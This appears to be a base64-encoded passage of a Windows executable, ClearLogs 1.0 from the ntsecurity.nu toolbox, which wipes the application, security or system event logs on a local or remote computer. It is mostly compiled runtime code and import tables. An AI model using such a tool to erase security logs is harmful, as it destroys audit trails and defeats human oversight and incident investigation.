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FRQUFBQUFNTAAUAAAAAAgKDhQWAcIADcwMFdQBwAAICAIAAAAAAhgaGBgYGAAAHBweHh4eAgHCAAABwAICAgAAAgACAAHCAAAACgAbgB1AGwAbAApAAAAAAAobnVsbCkAAHJ1bnRpbWUgZXJyb3IgAAANCgAAVExPU1MgZXJyb3INCgAAAFNJTkcgZXJyb3INCgAAAABET01BSU4gZXJyb3INCgAAUjYwMjgNCi0gdW5hYmxlIHRvIGluaXRpYWxpemUgaGVhcA0KAAAAAFI2MDI3DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGxvd2lvIGluaXRpYWxpemF0aW9uDQoAAAAAUjYwMjYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3Igc3RkaW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNQ0KLSBwdXJlIHZpcnR1YWwgZnVuY3Rpb24gY2FsbA0KAAAAUjYwMjQNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgX29uZXhpdC9hdGV4aXQgdGFibGUNCgAAAABSNjAxOQ0KLSB1bmFibGUgdG8gb3BlbiBjb25zb2xlIGRldmljZQ0KAAAAAFI2MDE4DQotIHVuZXhwZWN0ZWQgaGVhcCBlcnJvcg0KAAAAAFI2MDE3DQotIHVuZXhwZWN0ZWQgbXVsdGl0aHJlYWQgbG9jayBlcnJvcg0KAAAAAFI2MDE2DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIHRocmVhZCBkYXRhDQoADQphYm5vcm1hbCBwcm9ncmFtIHRlcm1pbmF0aW9uDQoAAAAAUjYwMDkNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgZW52aXJvbm1lbnQNCgBSNjAwOA0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciBhcmd1bWVudHMNCgAAAFI2MDAyDQotIGZsb2F0aW5nIHBvaW50IG5vdCBsb2FkZWQNCgAAAABNaWNyb3NvZnQgVmlzdWFsIEMrKyBSdW50aW1lIExpYnJhcnkAAAAACgoAAFJ1bnRpbWUgRXJyb3IhCgpQcm9ncmFtOiAAAAAuLi4APHByb2dyYW0gbmFtZSB1bmtub3duPgAAR2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNlcjMyLmRsbAAAAAAAAAAAAAAAAAAA//////5GQAACR0AA/////7JHQAC2R0AA/////zZJQAA6SUAA6FQAAAAAAAAAAAAAwlUAABBQAADYVAAAAAAAAAAAAAACVgAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8lUAAOBVAADQVQAAAAAAALJVAACgVQAAVlcAABBWAAAeVgAAMlYAAEZWAABYVgAAZlYAAIJWAACYVgAAslYAAMxWAADiVgAA+lYAABRXAAAmVwAANlcAAERXAACUVQAAZFcAAHJXAACAVwAAjFcAAJhXAACkVwAAsFcAALxXAADGVwAA0lcAAOJXAADwVwAAAlgAABJYAAAmWAAAOFgAAE5YAABeWAAAblgAAIBYAACSWAAAolgAAAAAAADMAUxvY2FsRnJlZQCvAEZvcm1hdE1lc3NhZ2VBAAAaAUdldExhc3RFcnJvcgAAS0VSTkVMMzIuZGxsAAAyAENsb3NlRXZlbnRMb2cAMABDbGVhckV2ZW50TG9nQQAAQAFPcGVuRXZlbnRMb2dBAEFEVkFQSTMyLmRsbAAAfQBFeGl0UHJvY2VzcwCeAlRlcm1pbmF0ZVByb2Nlc3MAAPcAR2V0Q3VycmVudFByb2Nlc3MAygBHZXRDb21tYW5kTGluZUEAdAFHZXRWZXJzaW9uAACtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAJAFHZXRNb2R1bGVGaWxlTmFtZUEAALIARnJlZUVudmlyb25tZW50U3RyaW5nc0EAswBGcmVlRW52aXJvbm1lbnRTdHJpbmdzVwDSAldpZGVDaGFyVG9NdWx0aUJ5dGUABgFHZXRFbnZpcm9ubWVudFN0cmluZ3MACAFHZXRFbnZpcm9ubWVudFN0cmluZ3NXAABtAlNldEhhbmRsZUNvdW50AABSAUdldFN0ZEhhbmRsZQAAFQFHZXRGaWxlVHlwZQBQAUdldFN0YXJ0dXBJbmZvQQCdAUhlYXBEZXN0cm95AJsBSGVhcENyZWF0ZQAAvwJWaXJ0dWFsRnJlZQCfAUhlYXBGcmVlAAAvAlJ0bFVud2luZADfAldyaXRlRmlsZQCZAUhlYXBBbGxvYwC/AEdldENQSW5mbwC5AEdldEFDUAAAMQFHZXRPRU1DUAAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAPgFHZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAAKoARmx1c2hGaWxlQnVmZmVycwAAagJTZXRGaWxlUG9pbnRlcgAA5AFNdWx0aUJ5dGVUb1dpZGVDaGFyAL8BTENNYXBTdHJpbmdBAADAAUxDTWFwU3RyaW5nVwAAUwFHZXRTdHJpbmdUeXBlQQAAVgFHZXRTdHJpbmdUeXBlVwAAfAJTZXRTdGRIYW5kbGUAABsAQ2xvc2VIYW5kbGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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